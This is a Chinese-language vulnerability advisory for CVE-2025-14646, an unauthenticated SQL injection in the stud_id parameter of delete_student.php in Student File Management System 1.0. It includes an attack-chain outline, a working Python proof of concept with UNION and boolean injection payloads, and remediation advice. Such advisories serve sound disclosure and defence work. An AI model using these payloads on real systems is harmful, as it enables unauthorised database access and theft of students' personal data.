IPBUF安全漏洞报告
English
CVE-2025-14646 CVSS 7.3 高危

CVE-2025-14646 code-projects Student File Management System 1.0 SQL注入漏洞

披露日期: 2025-12-14

漏洞信息

漏洞编号
CVE-2025-14646
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Student File Management System 1.0

相关标签

SQL注入CVE-2025-14646Student File Management Systemcode-projects高危漏洞远程代码执行Web应用安全数据库注入无需认证delete_student.php

漏洞概述

CVE-2025-14646是code-projects团队开发的Student File Management System 1.0版本中存在的严重安全漏洞。该系统是一款用于管理学生文件的Web应用程序,漏洞存在于管理员后台的delete_student.php文件中。由于程序对用户输入的stud_id参数缺乏有效的过滤和参数化查询,导致攻击者可以通过构造恶意SQL语句实现数据库注入攻击。攻击者无需任何认证即可利用此漏洞从远程发起攻击,成功利用后可获取数据库中的敏感学生信息,包括个人资料、学术记录等数据。该漏洞的CVSS评分为7.3,属于高危级别,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L,表明对机密性、完整性和可用性均造成较低程度的影响。由于相关利用代码已公开披露,建议受影响的用户尽快采取防护措施。

技术细节

该SQL注入漏洞位于/admin/delete_student.php文件中的stud_id参数。攻击者可以通过HTTP请求向该端点发送精心构造的SQL payloads来实现注入攻击。由于程序未对stud_id参数进行严格的输入验证和SQL语句预编译,恶意SQL代码将被数据库服务器执行。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息,包括但不限于用户名、密码哈希、邮箱地址、学生个人信息等。常见的利用方式包括:通过UNION查询获取数据库版本和当前数据库名;通过information_schema表获取所有数据库和表结构;通过条件判断语句进行数据提取。由于该接口位于管理后台,攻击成功后可能进一步获取管理员权限,导致更大范围的数据泄露和系统危害。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为code-projects Student File Management System 1.0,确认/admin/delete_student.php端点存在
STEP 2
步骤2: 漏洞探测
攻击者向delete_student.php发送带有单引号的stud_id参数值,观察是否触发SQL错误以确认SQL注入漏洞存在
STEP 3
步骤3: 构建恶意Payload
根据数据库响应类型(联合查询或布尔盲注),构造相应的SQL注入payload,如UNION SELECT语句或条件判断语句
STEP 4
步骤4: 数据库枚举
利用SQL注入获取数据库版本、当前数据库名、用户名等基础信息,为后续数据提取做准备
STEP 5
步骤5: 数据提取
通过information_schema或直接查询目标表(如students表),提取学生个人信息、敏感数据
STEP 6
步骤6: 权限提升
如果成功获取管理员凭证,可尝试登录后台管理系统,获取更高权限或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14646 SQL Injection PoC # Target: code-projects Student File Management System 1.0 # Endpoint: /admin/delete_student.php # Parameter: stud_id def exploit(target_url, stud_id_payload): """ Exploit SQL injection in delete_student.php """ target = target_url.rstrip('/') + '/admin/delete_student.php' # SQL injection payload for stud_id parameter params = { 'stud_id': stud_id_payload } try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def test_basic_injection(target_url): """ Basic SQL injection test - causes SQL error """ payload = "1' OR '1'='1" print(f"[*] Testing basic injection with payload: {payload}") result = exploit(target_url, payload) return result def extract_db_version(target_url): """ Extract database version using UNION injection """ # Common UNION-based injection to get DB version payload = "1' UNION SELECT NULL,version(),database()-- -" print(f"[*] Extracting database info with payload: {payload}") result = exploit(target_url, payload) return result def extract_users(target_url): """ Extract database users """ payload = "1' UNION SELECT NULL,user(),NULL-- -" print(f"[*] Extracting database users with payload: {payload}") result = exploit(target_url, payload) return result if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/student_file_management_system") sys.exit(1) target_url = sys.argv[1] print("=" * 60) print("CVE-2025-14646 SQL Injection PoC") print("Target: Student File Management System 1.0") print("=" * 60) # Test basic injection test_basic_injection(target_url) # Extract database version extract_db_version(target_url) # Extract database users extract_users(target_url) print("\n[*] Exploitation complete. Check responses for data leakage.")

影响范围

code-projects Student File Management System 1.0

防御指南

临时缓解措施
立即限制对/admin/delete_student.php端点的访问,或在Web服务器层面配置临时访问控制规则阻止外部访问。使用PDO或mysqli的预处理语句重写delete_student.php中的数据库查询代码,对stud_id参数进行严格的整数类型验证和SQL转义处理。在生产环境中部署WAF规则拦截SQL注入攻击特征,并持续监控异常数据库查询日志。建议开发团队进行紧急代码审查和修复,必要时联系code-projects官方获取安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表